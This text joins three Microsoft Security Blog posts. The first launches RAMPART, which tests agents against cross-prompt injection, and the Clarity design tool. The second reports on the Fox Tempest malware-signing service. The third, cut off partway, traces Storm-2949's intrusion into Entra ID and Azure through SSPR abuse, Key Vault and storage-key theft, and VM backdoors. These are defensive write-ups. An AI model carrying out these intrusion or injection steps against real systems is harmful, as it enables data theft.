The AI systems shipping inside enterprises today are fundamentally different from the ones we were building even two years ago, because they have moved well past answering questions and into accessing your email, retrieving records from your CRM, writing and executing code, and taking actions on your behalf across dozens of connected systems. That shift from “generate text” to “do things in the world” changes the safety equation entirely, because an agent that can act can also potentially act in ways nobody intended.

Today Microsoft is open-sourcing two tools designed to help engineers: Microsoft RAMPART, an agent test framework for encoding adversarial and benign scenarios as repeatable tests that can run in CI, making it easy to turn red-team findings and AI incidents into lasting regression coverage; and Clarity, a structured sounding board that helps teams figure out whether they are building the right thing before they write a single line of code.

We built these tools because we believe that AI safety has to become a continuous engineering discipline rather than a periodic checkpoint, and we think the best way to make that happen is to put practical, open tools in the hands of the people doing the building.

Why we are investing in this

1. Helping teams think through the “why,” before the “how” of software building: In the vibe coding era, execution is easy and the harder question is the “why.” The most expensive safety failures we see almost always trace back to design mistakes that nobody questioned early enough, long before any adversary got involved — say, when a product team decided their agent should have access to a tool, or handle a particular user flow, without fully working through what could go wrong. By the time a red team engagement surfaces the issue, the system is largely built, and addressing it means going back to the drawing board. We wanted to give product managers and engineers a way to pressure-test their assumptions at the start of a project, when changing course is cheap and the right conversation can save months of rework.
2. Scaling the lessons of red teaming across the industry. The techniques that uncover vulnerabilities in one agentic product almost always shed light on another. A cross-prompt injection attack that works against one system will often work, with minor variations, against a customer service agent or a coding assistant. But those lessons tend to stay locked inside individual engagement reports. Our goal was to build a system where the lessons of red teaming exercises can be turned into runnable engineering assets.  
3. Making incidents reproducible and mitigations verifiable. If something goes wrong in production AI systems, the team responding needs to do two things quickly: replicate the incident so they understand exactly what happened, and verify that whatever fix they ship actually holds up against variants of the original attack. Both of those tasks are harder than they sound with probabilistic LLMpowered systems, and most teams end up doing them manually in an ad hoc way. We wanted tooling that is purpose-built for exactly this workflow, so that incident response becomes a repeatable engineering process rather than a scramble.

RAMPART: Continuous safety testing for agentic AI

RAMPART is an open-source testing framework that brings red teaming techniques directly into the development workflow. It is built on top of PyRIT, Microsoft’s open automation framework for red teaming generative AI systems so that RAMPART leverages the best in class, out of the box adversarial tests. Where PyRIT is optimized for black-box discovery by security researchers after the system is built, RAMPART is built for engineers as the system is being built.

The developer experience will feel familiar to anyone who has written integration tests. Teams write standard pytest tests that describe scenarios drawn from their threat model. Each test connects to the agent through a thin adapter, orchestrates an interaction, and evaluates observable outcomes. Tests return a clear pass or fail signal and can be gated in CI just like any other integration test. When a new tool or data source is added to the agent, the corresponding safety test can be added in the same pull request.

const currentTheme = localStorage.getItem('blogInABoxCurrentTheme') || (window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light'); // Modify player theme based on localStorage value. let options = {"autoplay":false,"hideControls":null,"language":"en-us","loop":false,"partnerName":"cloud-blogs","poster":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/image\/microsoftcorp\/3921401-IntroducingRampart_tbmnl_en-us?wid=1280","title":"","sources":[{"src":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/content\/microsoftcorp\/3921401-IntroducingRampart-0x1080-6439k","type":"video\/mp4","quality":"HQ"},{"src":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/content\/microsoftcorp\/3921401-IntroducingRampart-0x720-3266k","type":"video\/mp4","quality":"HD"},{"src":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/content\/microsoftcorp\/3921401-IntroducingRampart-0x540-2160k","type":"video\/mp4","quality":"SD"},{"src":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/content\/microsoftcorp\/3921401-IntroducingRampart-0x360-958k","type":"video\/mp4","quality":"LO"}],"ccFiles":[{"url":"https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-json\/bloginabox\/v1\/get-captions?url=https%3A%2F%2Fwww.microsoft.com%2Fcontent%2Fdam%2Fmicrosoft%2Fbade%2Fvideos%2Fproducts-and-services%2Fen-us%2Fsecurity%2F3921401-introducingrampart%2F3921401-IntroducingRampart_cc_en-us.ttml","locale":"en-us","ccType":"TTML"}],"downloadableFiles":[{"url":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/content\/microsoftcorp\/3921401-IntroducingRampart_transcript_en-us","locale":"en-us","mediaType":"transcript"},{"url":"https:\/\/cdn-dynmedia-1.microsoft.com\/is\/content\/microsoftcorp\/3921401-IntroducingRampart_audio_en-us","locale":"en-us","mediaType":"audio"}]}; if (currentTheme) { options.playButtonTheme = currentTheme; } document.addEventListener('DOMContentLoaded', () => { ump("ump-6a1095986cb81", options); });

RAMPART is different from conventional testing in the following ways:

1. Built for prompt injection attacks: RAMPART’s most mature coverage today focuses on cross-prompt injection attacks, scenarios in which an agent retrieves or processes potentially poisoned content from documents, emails, tickets, or other data sources that manipulate its behavior indirectly.  New threat categories can be added incrementally as attack patterns evolve, and the framework’s extension points are all defined as Python protocols, so integration stays lightweight even for complex agent architectures.<
2. Built for probabilistic behavior: Because LLM behavior is probabilistic, RAMPART supports statistical trials. The same test can run multiple times with policies like “this action must be safe in at least 80 percent of runs.” This reflects how agents actually behave in production far more accurately than single-shot validation ever could.
3. Built to reproduce your AI red team findings and AI incidents: RAMPART is designed to work alongside dedicated red teaming, and the two reinforce each other. Findings from a red team engagement can be encoded as RAMPART tests, which means the issue is permanently covered, runs on every change, and never silently regresses. The ownership model is intentionally flipped from the traditional approach: engineers write the tests, engineers run them, and engineers treat failures like any other bug. The framework supplies the attack strategies, adversarial payload generation, and evaluation logic. The test author focuses on expressing expectations about what their agent should and should not do.

Agent safety ultimately comes down to what the agent does, which means evaluators need to look at which tools it invokes, what side effects occur, and whether those actions stay within expected boundaries. RAMPART’s evaluators are designed to inspect all of that. They are composable, so teams can combine them with boolean logic to express nuanced safety conditions rather than relying on a single binary signal.

Clarity: Helping check software engineering assumptions

Where most AI tools are designed to help teams execute faster, Clarity was designed by Microsoft to help them figure out whether they are executing on the right thing in the first place. It asks the kinds of questions that experienced architects, product managers, and safety engineers would ask, the ones that are easy to skip when a team is excited about building something new.

Consider a team that wants to add real-time collaboration to a document editor. Instead of jumping straight to implementation options, Clarity will ask what happens when two people edit the same paragraph at the same time, and whether the team actually needs true real-time collaboration with cursors and presence indicators, or whether “nobody loses their work” is the real requirement. Those two answers can lead to very different architectures with very different failure modes, and getting clarity on that distinction early can save months of rework.

Clarity runs as a desktop app, a web UI, or embedded directly in a coding agent. It guides engineers through structured conversations covering problem clarification, solution exploration, failure analysis, and decision tracking. As the conversation progresses, the results are written to a .clarity-protocol/ directory in the repo as plain, human-readable markdown files that get committed, reviewed in pull requests, and diffed just like source code. They capture the problem statement, the solution rationale, the failure analysis, and the key decisions made along the way.

The failure analysis deserves a closer look, because it goes well beyond what a single reviewer would typically catch. Multiple AI “thinkers” independently examine the system from different angles, including security, human factors, adversarial scenarios, and operational concerns. The team then works through the results together with Clarity, grouping related failures, tracing causal chains, and building management plans.  

Clarity also tracks staleness across these documents, because they form a dependency graph. When a problem statement changes, Clarity knows that the solution description and failure analysis might need revisiting and nudges the team to do so. Important decisions are captured with their criteria, the options considered, and the rationale behind each choice, so that six months later anyone on the team can revisit the full reasoning, including which alternatives were ruled out and why.

The .clarity-protocol/ directory becomes a shared artifact that everyone on the team can see and contribute to, and for stakeholders who need a summary before a review, Clarity can generate a review packet that tells a coherent narrative.

RAMPART and Clarity are part of a broader movement toward spec-driven, engineering-native AI safety. They complement Microsoft’s work on policy-to-measurement systems: Clarity helps teams clarify design intent and capture assumptions; RAMPART gives teams the building blocks to write concrete agent safety testsand keep them running as agents evolve.. Together, these approaches move AI safety from a one-time review to a set of living artifacts that developers can use throughout the lifecycle.

RAMPART and Clarity available now

Both RAMPART and Clarity are available today as open source projects from Microsoft.

We look forward to working with the community. For feedback, and partnership in deploying this in the enterprise setting, please contact aisafetytools@microsoft.com.

Contributions

Microsoft RAMPART is led by Bashir Partovi with contributions from Elliot H Omiya, Richard Lundeen, Nina Chikanov, Spencer Schoenberg, and Toby Kohlenberg. Clarity is joint project from Yonatan Zunger, Dharmin Shah, Elliot H Omiya, Eve Kazarian, Sarah Cooley, and Neil Coles. We would like to thank Minsoo Thigpen, Abby Palia, Mehrnoosh Sameki, Hilary Solan, Elliot Volkman, Pete Bryan, Roman Lutz, and Shiven Chawla for their helpful comments.

The post Introducing RAMPART and Clarity: Open source tools to bring safety into Agent development workflow appeared first on Microsoft Security Blog.

In this article

1. Fox Tempest’s role and impact
2. Fox Tempest’s malware signing as a service infrastructure
3. Defending against Fox Tempest-enabled attacks
4. Microsoft Defender detections
5. Indicators of compromise

Fox Tempest is a financially motivated threat actor that operates a malware-signing-as-a-service (MSaaS)  used by other cybercriminals to more effectively distribute malicious code, including ransomware. The threat actor abuses Microsoft Artifact Signing to generate short-lived, fraudulent code-signing certificates to appear legitimately signed, allowing malware to evade security controls.

Fox Tempest has created over a thousand certificates and established hundreds of Azure tenants and subscriptions to support its operations. Microsoft has revoked over one thousand code signing certificates attributed to Fox Tempest. In May 2026, Microsoft’s Digital Crimes Unit (DCU), with support from industry partner Resecurity, disrupted Fox Tempest’s MSaaS offering, targeting the infrastructure and access model that enables its broader criminal use.

From service to shutdown

How Microsoft disrupted Fox Tempest ↗

Microsoft Threat Intelligence observed Fox Tempest’s operations enabling the deployment of Rhysida ransomware by threat actors such as Vanilla Tempest, as well as the distribution of other malware families including Oyster, Lumma Stealer, and Vidar. The consistency, scale, and downstream impact of the resulting attack activity demonstrate that Fox Tempest is a vital operator within the broader cybercrime ecosystem.

know the threat

Identify and defend against ransomware attacks ›

In this blog, we examine how Fox Tempest’s MSaaS operation functioned and how it enabled the delivery of trusted, signed malware across the cybercrime ecosystem. We also provide Microsoft Defender detections, indicators of compromise (IOCs), and mitigation recommendations to help organizations identify and disrupt similar activity.

Fox Tempest’s role and impact

Fox Tempest doesn’t directly target victims but instead provides supporting services that enable ransomware operations by other threat actors. Microsoft Threat Intelligence has tracked Fox Tempest since September 2025. Microsoft Threat Intelligence has linked the actor to various ransomware groups including Vanilla Tempest, Storm-0501, Storm-2561, and Storm-0249, who have all leveraged Fox Tempest-signed malware in active intrusions. Malware delivery in these attacks have included use of legitimate purchased advertisements, malvertising, and SEO poisoning.

Storm-2561 SEO poisoning

Fake VPN clients steal credentials ›

Cryptocurrency analysis associated with Fox Tempest has identified clear links tying the actor to ransomware affiliates responsible for delivering several prominent ransomware families, including INC, Qilin, Akira, and others, with observed proceeds in the millions. Based on the scale of the MSaaS offering, Microsoft Threat Intelligence assesses that Fox Tempest is a well-resourced group handling infrastructure creation, customer relations, and financial transactions.

The downstream impact of these operations has resulted in attacks against a broad range of industry sectors, including healthcare, education, government, and financial services, impacting organizations globally including, but not limited to the United States, France, India, and China.

Fox Tempest’s malware signing as a service infrastructure

Fox Tempest’s MSaaS capability was available through the website signspace[.]cloud, a now defunct service that was disrupted by DCU, which enabled other threat actors to fraudulently obtain short-lived Microsoft-issued certificates that were valid for only 72 hours, obtained through Artifact Signing (previously named Azure Trusted Signing). This use of short-life certificates from a trusted source allowed malware and ransomware to masquerade as legitimate software (like AnyDesk, Teams, Putty, and Webex) to bypass security controls, significantly increasing the likelihood of execution and successful delivery. Fox Tempest offered this MSaaS capability to the ransomware ecosystem since at least May 2025.

To obtain legitimate signed certificates through Artifact Signing, the requestor must pass detailed identify validation processes in keeping with industry standard verifiable credentials (VC), which suggests the threat actor very likely used stolen identities based in the United States and Canada to masquerade as a legitimate entity and obtain the necessary digital credentials for signing. The SignSpace website was built on Artifact Signing and enabled secure file signing through an admin panel and user page, leveraging Azure subscriptions, certificates, and a structured database for managing users and files. A GitHub repository, called code‑signing‑service, included configuration files and technical details that directly linked it to the infrastructure behind signspace[.]cloud.

The signspace[.]cloud service has two unique modeling groupings: the admin and the customers. The admin is responsible for maintaining the tooling, account creation, and infrastructure, while the customers provide files to be fraudulently code signed. Customers who accessed the service could upload malicious files to be signed using Fox Tempest-controlled certificates.

Below are examples of the signspace[.]cloud portal as seen by Fox Tempest’s customers:

Figure 1. Fox Tempest’s SignSpace sign-in portal Figure 2. Fox Tempest’s SignSpace code signing service upload page

In February 2026, Microsoft Threat Intelligence observed a notable shift in Fox Tempest’s operational infrastructure. Fox Tempest transitioned to providing customers with pre-configured virtual machines (VMs) hosted on US-based virtual private server provider Cloudzy’s infrastructure, allowing threat actors to upload their malicious files directly to Fox Tempest‑controlled environments and receive signed binaries in return. This infrastructure evolution reduced friction for customers, improved operational security for Fox Tempest, and further streamlined the delivery of malicious but trusted, signed malware at scale. Microsoft’s Digital Crimes Unit (DCU) disrupted this infrastructure and continues to partner with Cloudzy to identify and disrupt related infrastructure.

Below is an example of the Fox Tempest-provided VM environment as seen by customers:

Figure 3. Accessing VM provided by Fox Tempest

Inside the VM, Fox Tempest provided files that are used to sign code:

• The first file, metadata.json, was a configuration file that pointed to an Azure‑hosted endpoint which also included the signing account and certificate profile.
• The second file, test.js, is an example of a file provided by Fox Tempest that had been digitally signed to demonstrate their signing capabilities to customers.
• The third file, PS code sample.txt, contains the PowerShell script they used to sign customer‑submitted files using certificates under Fox Tempest control.

Figure 4. Fox Tempest provided files Figure 5. Fox Tempest provided certificate

Threat actors using Fox Tempest’s MSaaS offering paid thousands of dollars to get their malicious code signed, as shown below with the Google Form detailing the service’s pricing model. Actors filled out the form before being added to a queue to submit payment and gain access to a VM. The form (written in both English and Russian) asks the user to choose a selected plan from a price list of $5000 USD, $7500 USD, or $9000 USD, with a mention that higher paying plans receive priority in the queue sequence.

Figure 6. Google form used by Fox Tempest Figure 7. Telegram used by Fox Tempest

Fox Tempest engaged directly with customers using a Telegram channel, EV Certs for Sale by SamCodeSign under the user account arbadakarba2000. All signing activity occurred using a Fox Tempest-provided email address associated with a very small number of IP addresses.

Case study: Fox Tempest enables Vanilla Tempest attacks

Vanilla Tempest began using Fox Tempest’s MSaaS service as early as June 2025. Through this service, Vanilla Tempest uploaded malicious payloads such as trojanized Microsoft Teams installers, which Fox Tempest would fraudulently signed to appear legitimate. Vanilla Tempest would then distribute these signed binaries through legitimately purchased advertisements that redirected users searching for Microsoft Teams to attacker‑controlled advertisements and fraudulent download pages.

Figure 8. Vanilla Tempest and Fox Tempest attack chain

Victims were presented with a malicious MSTeamsSetup.exe in place of the legitimate client, reflecting a broader pattern of Vanilla Tempest frequently abusing trusted software brands to lure victims and establish initial access. Execution of the counterfeit installer resulted in the deployment of the Oyster backdoor (also known as Broomstick), a modular, multistage implant that establishes persistent remote access, initiates command‑and‑control (C2) communications, collects host‑level information, and enables the delivery of additional payloads. By masquerading as a widely deployed enterprise collaboration tool hiding behind a fraudulently signed binary, Vanilla Tempest’s Oyster payload was likely able to evade casual detection and blend into normal enterprise activity. In some observed cases, Vanilla Tempest also deployed Rhysida ransomware within victim environments using the same process.

Defending against Fox Tempest-enabled attacks

To defend against Fox Tempest tactics, techniques, and procedures (TTPs) and similar activity, Microsoft recommends the following mitigation measures:

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO. 
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:
  • Use advanced protection against ransomware

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Tactic Observed activity Microsoft Defender coverage PersistenceThreat actors distributed malware families including using Fox Tempest‑signed binariesMicrosoft Defender for Antivirus  
– Trojan:Win64/OysterLoader  
– Trojan:Win64/Oyster  
– Trojan:Win32/Malcert  
– Trojan:Win32/LummaStealer  
– Trojan:Win32/Vidar  
– Backdoor:Win32/Spyder  
– Trojan:Win32/Malgent  
– Trojan:Win64/Tedy  
– Trojan:Python/MuddyWater  
– Trojan:Win64/Fragtor  

Microsoft Defender for Endpoint
– Vanilla Tempest activity group
– User account created under suspicious circumstances
– New group added suspiciously
– New local admin added using Net commands – ‘LummaStealer’ malware was prevented
– ‘Malcert’ malware was prevented
– ‘Vidar’ malware was prevented  ImpactAnalysis of Fox Tempest MSaaS identified links to the enablement of several ransomware familiesMicrosoft Defender for Antivirus
– Ransom:Win64/Rhysida
– Ransom:Win64/Inc
– Ransom:Win32/Qilin
– Ransom:Win32/BlackByte

Microsoft Defender for Endpoint
– Ransomware-linked threat actor detected
– ‘BlackByte’ ransomware was prevented
– ‘INC’ ransomware was prevented
– ‘Qilin’ ransomware was prevented
– ‘Rhysida’ ransomware was prevented
– A file or network connection related to a ransomware-linked emerging threat activity group detected   Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Actor profile: Fox Tempest
• Actor profile: Vanilla Tempest
• Threat Overview profile: Human-operated ransomware
• Activity profile: Vanilla Tempest leverages fake Microsoft Teams setup to deliver Oyster backdoor

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise IndicatorTypeDescriptionFirst seenLast seensignspace[.]cloudDomainAttacker-controlled domain hosting MSaaS2025-05-292026-05-05dc0acb01e3086ea8a9cb144a5f97810d291020ceSignerSha-1Certificate2026-03-182026-05-117e6d9dac619c04ae1b3c8c0906123e752ed66d63SignerSha-1Certificate2026-03-212026-05-11f0668ce925f36ff7f3359b0ea47e3fa243af13cd6ad9661dfccc9ff79fb4f1ccSHA-256File hash2026-03-192026-05-0411af4566539ad3224e968194c7a9ad7b596460d8f6e423fc62d1ea5fc0724326SHA-256File hash2026-03-212026-05-07f0a6b89ec7eee83274cd484cea526b970a3ef28038799b0a5774bb33c5793b55SHA-256File hash2026-03-122026-04-19 Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky. To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Exposing Fox Tempest: A malware-signing service operation appeared first on Microsoft Security Blog.

In this article

1. Attack chain overview
   1. Cloud compromise: Microsoft Entra ID and Microsoft 365
   2. Initial access and persistence through targeted social engineering and SSPR abuse
   3. Directory discovery and persistence
   4. Microsoft 365 discovery and exfiltration
   5. Cloud compromise: Microsoft Azure
   6. Azure App Service and Key Vault compromise
   7. Azure Storage and SQL data exfiltration
   8. Azure Virtual Machines compromise
   9. ScreenConnect installation and defense evasion
   10. Post-compromise activity using ScreenConnect
2. Mitigation and protection guidance
   1. Ensure adequate security coverage across attack surfaces
   2. Security hardening and best practices
   3. General hygiene recommendations
   4. Indicators of compromise (IOCs)
   5. Microsoft Defender XDR detections
3. Learn more

Microsoft Threat Intelligence recently uncovered a methodical, sophisticated, and multi-layered attack, where a threat actor we track as Storm-2949 launched a relentless campaign with a singular focus: to exfiltrate as much sensitive data from a target organization’s high-value assets as possible. The attack exfiltrated data from Microsoft 365 applications, file-hosting services, and Azure-hosted production environments, where the organization’s production application ecosystem resides.

What began as a targeted identity compromise rapidly evolved into a full-spectrum assault on the organization’s cloud infrastructure. The attack spanned various Azure resources, with emphasis on software-as-a-service (SaaS), platform-as-a-service (PaaS), and infrastructure-as-a-service (IaaS) layers.

Storm-2949 didn’t rely on traditional malware and other on-premises tactics, techniques, and procedures (TTPs). Instead, they leveraged legitimate cloud and Azure management features to gain control-plane and data-plane access, which they then used to execute code remotely on VMs, and access sensitive cloud resources such as Key Vaults and storage accounts, among others. These activities allowed them to move laterally across cloud and endpoint environments while blending into expected administrative behavior.

As organizations continue to adopt cloud infrastructure at scale, threat actors are increasingly targeting identity and control plane access rather than individual devices. When cloud identities are compromised, legitimate administrative features can be used to achieve outcomes similar to traditional lateral movement, often with fewer indicators of compromise. Behavior-based detections across endpoints, cloud environments, and identities—such as those provided by Microsoft Defender—can help teams identify and correlate these activities.

In this blog, we unpack the full attack chain from initial access to cloud and endpoint takeover. We then offer actionable insights into how organizations can detect, contain, and prevent similar identity-driven threats in their environments.

Attack chain overview

The campaign that Storm-2949 deployed can be divided into two phases: targeted identity compromise and cloud infrastructure compromise. We discuss each of these phases in detail in the succeeding sections.

Figure 1. Storm-2949 attack diagram. Cloud compromise: Microsoft Entra ID and Microsoft 365

In this phase, the threat actor targeted specific users through social engineering to obtain their Microsoft Entra ID credentials. Using these credentials, the threat actor then proceeded to exfiltrate data from Microsoft 365 applications.

Initial access and persistence through targeted social engineering and SSPR abuse

We assess with high confidence that Storm-2949 leveraged a social engineering technique consistent with known abuses of Microsoft’s Self-Service Password Reset (SSPR) process. In such attacks, a threat actor initiates the SSPR process on behalf of a targeted user and subsequently employs social engineering tactics to persuade the user to complete multifactor authentication (MFA) prompts that appear to be legitimate.

For example, the threat actor might impersonate an internal information technology (IT) support representative and contact the user claiming that their account requires urgent verification, instructing them to approve MFA prompts as part of a routine password reset procedure.

Once the user approves these prompts, the threat actor is able to reset the user’s password and remove existing authentication methods, such as phone numbers, email addresses, and Microsoft Authenticator registrations, effectively eliminating MFA as a control and enabling unrestricted account access. Immediately after gaining access to the compromised account, the threat actor is then prompted to re-enable MFA and register a new authentication method. At this stage, the threat actor enrolls Microsoft Authenticator on their own device, granting themselves persistent access and preventing the legitimate user from signing in.

Storm-2949 used a similar process repeatedly across multiple users within the targeted organization. The selection of victims, which included IT personnel and senior leadership, indicated deliberate targeting. Based on the roles of the compromised users and the investigation findings, we assess that the threat actor likely used an organized and convincing phishing scheme to lure users into completing the fraudulent MFA prompts and thereby compromise their identities.

Directory discovery and persistence

Following the initial identity takeover, the threat actor conducted directory discovery using Microsoft Graph API. Using a custom Python script, they issued automated API requests to enumerate users and applications within the tenant. Through these queries, the threat actor searched Microsoft Entra ID for user accounts based on name patterns and role attributes, likely to identify privileged identities and additional high‑value targets.

Figure 2 illustrates the types of Graph API queries observed:

Figure 1. Discovery using cURL.

During this attack phase, the threat actor also attempted to establish persistence by adding credentials to a compromised service principal to enable continued access independent of the compromised user accounts. This attempt failed due to insufficient permissions. Undeterred, the threat actor continued enumerating service principals and known application identifiers, indicating an effort to map application‑level access paths and expand long‑term footholds within the environment.
Using the same social engineering techniques and SSPR abuse described earlier, the threat actor expanded their foothold by compromising three additional cloud user accounts.

Microsoft 365 discovery and exfiltration

Storm-2949 leveraged their access to the compromised user accounts to explore and exfiltrate files from the victim organizations’ cloud file storage services. Shortly after obtaining initial access within the organization, they targeted Microsoft 365 applications, including OneDrive and SharePoint, identifying and accessing the organization’s sensitive files, focusing on IT documents concerning virtual private network (VPN) configurations and remote access procedures. We assess that this behavior reflects an attempt to identify opportunities for lateral movement from a compromised cloud identity into the endpoint network.

The threat actor then launched a large-scale data exfiltration from these storage services. In one instance, Storm-2949 used the OneDrive web interface to download thousands of files in a single action to their own infrastructure. This pattern of data theft was repeated across all compromised user accounts, likely because different identities had access to different folders and shared directories.

Cloud compromise: Microsoft Azure

Armed with access to multiple compromised identities – which were assigned with privileged custom Azure role-based access control (RBAC) roles on several Azure subscriptions – and a growing understanding of the environment, the threat actor shifted focus toward the victim’s Azure environment. With a clear agenda centered on data exfiltration, Storm-2949 demonstrated a relentless drive to uncover and extract the most sensitive assets within the victim’s Azure environment, specifically from production-based Azure subscriptions.

Their campaign targeted not only core applications but also the broader ecosystem of interconnected resources such as Azure App Services web applications, Azure Key Vaults, Azure Storage accounts, and SQL databases. These resources collectively power the organization’s cloud-hosted services. This phase marked a transition from identity-centric abuse and SaaS data theft to targeting a range of Azure services, with an emphasis on both PaaS and IaaS workloads.

Azure App Service and Key Vault compromise

One of Storm-2949’s main targets was a production Azure App Service web application that contained sensitive data. Following several failed attempts to access this application, likely due to gateway and network restrictions, Storm-2949 shifted focus to other web apps that appeared to be part of the same ecosystem. These auxiliary apps, such as those handling authentication or internal APIs, were individually deployed Azure App Service instances with their own resource identities.

Storm-2949 successfully compromised several of these secondary web apps by taking advantage of the user’s privileged Azure RBAC permissions and invoking the Azure management-plane operation, microsoft.Web/sites/publishxml/action, which retrieves the application’s publishing profile. This profile often contains basic authentication credentials for deployment endpoints such as FTP, Web Deploy, and the Kudu management console. Kudu is a built-in administrative interface for Azure App Services that allows authenticated users to browse the file system, inspect environment variables, and execute commands within the app’s context.

Despite successfully compromising several of these auxiliary web apps, Storm-2949 was unable to gain access to the primary production application they were ultimately targeting. It is assesed, that the secondary services, while part of the same broader ecosystem, didn’t contain the level of sensitive data or privileged access the threat actor was seeking. While these footholds provided visibility into application configurations and infrastructure, they didn’t deliver the high-value assets that aligned with the threat actor’s data exfiltration objectives. As a result, the threat actor was forced to pursue alternative paths in their effort to reach the production web app.

Storm-2949 recalibrated their approach and shifted their focus toward backend resources that were part of the sensitive web app ecosystem and could provide stronger leverage. The threat actor pivoted to the organization’s Azure Key Vault estate – an environment more likely to centralize sensitive secrets and offer indirect access to production systems. Part of the compromised user’s Azure RBAC permissions was the privileged Owner role over a specific Key Vault that seemed to contain credentials that would enable the compromise of the production application.

Over the span of four minutes, the threat actor successfully manipulated Key Vault access configurations and accessed dozens of secrets within the said Key Vault. These secrets included database connection strings, identity credentials, and more, dramatically expanding the attack’s blast radius.

Among these secrets, we believe the threat actor found credentials that enabled them to access the application they coveted the most, which was the main production web app. After they successfully authenticated into the web app, the threat actor changed its password to retain control. They then began exfiltrating sensitive data from it.

Azure Storage and SQL data exfiltration

In parallel, Storm-2949 expanded access across additional cloud resources inside the ecosystem that contained the web app, including Azure Storage accounts and an Azure SQL server.

To enable access to the server, the threat actor abused their existing Azure RBAC permissions to manipulate the SQL server firewall rules by using the microsoft.sql/servers/firewallrules/write operation. They then connected to the SQL server using the credentials they obtained (along with the web app credentials) from the compromised Key Vault.

The threat actor proceeded with data exfiltration and continued to delete the modified SQL firewall rules, which is an activity consistent with defense evasion.
Similar to the SQL server compromise, to set up and prepare for massive data exfiltration from Azure Storage, the threat actor also manipulated storage account network access configurations using the microsoft.storage/storageaccounts/write operation. This manipulation enabled public access to the storage accounts from a closed set of threat actor-owned IP addresses. In addition, the threat actor abused the Azure management-plane operation microsoft.Storage/storageAccounts/listkeys/action to access multiple storage account Shared Access Signature (SAS) tokens and account keys, enabling the use of static, non-interactive authentication to retrieve data.

Using these keys, the threat actor downloaded large volumes of data from several Azure Storage accounts using a custom Python script that leveraged the Azure SDK for Storage. The script allowed them to programmatically enumerate and download blobs directly to their own endpoint device. This storage‑based exfiltration continued over multiple days since the initial access, with the threat actor alternating between secret- and OAuth‑based authentication as access conditions and controls evolved.

Azure Virtual Machines compromise

Apart from the web app and data-store resource compromise, the abuse of Azure Virtual Machine (VM) extensions and administrative features – specifically Run Command and the VMAccess extension – were also prominent elements of this attack. These activities appear to have been primarily intended to expand operational access within the victim environment by leveraging compromised VMs as intermediary footholds. Observed actions across these systems focused on credential harvesting and environment discovery, as well as attempts to access resources that weren’t directly reachable through previously compromised identities. These efforts included domain reconnaissance and the collection of authentication material that could facilitate movement between cloud and on‑premises environments, as well as enable access to additional high‑value assets.

Shortly after the initial access, the threat actor operated in parallel, trying to compromise the organization’s virtual machines. Using the compromised users assigned with privileged Azure RBAC permissions, the threat actor deployed the VMAccess extension to create a new local administrator account on a targeted VM. VMAccess is an Azure VM extension intended to help administrators restore access to a VM when credentials get lost or misconfigured by allowing password resets or the addition of privileged local users through the Azure management plane. In this case, the threat actor abused the extension to gain backdoor access to an administrator user on the VM.

Using the Run Command feature, the threat actor deployed a script attempting to abuse the VM’s managed identity by requesting an access token from the Azure Instance Metadata Service (IMDS) and using it to authenticate to – and retrieve secrets from – the production web app-related Key Vault. However, the threat actor wasn’t able to retrieve the secrets because the managed identity lacked the required permissions. Yet, this attempt shows the threat actor using guest-level execution as a bridge to additional Azure resource access through workload identity.

Figure 2. Token theft and Key Vault access script. ScreenConnect installation and defense evasion

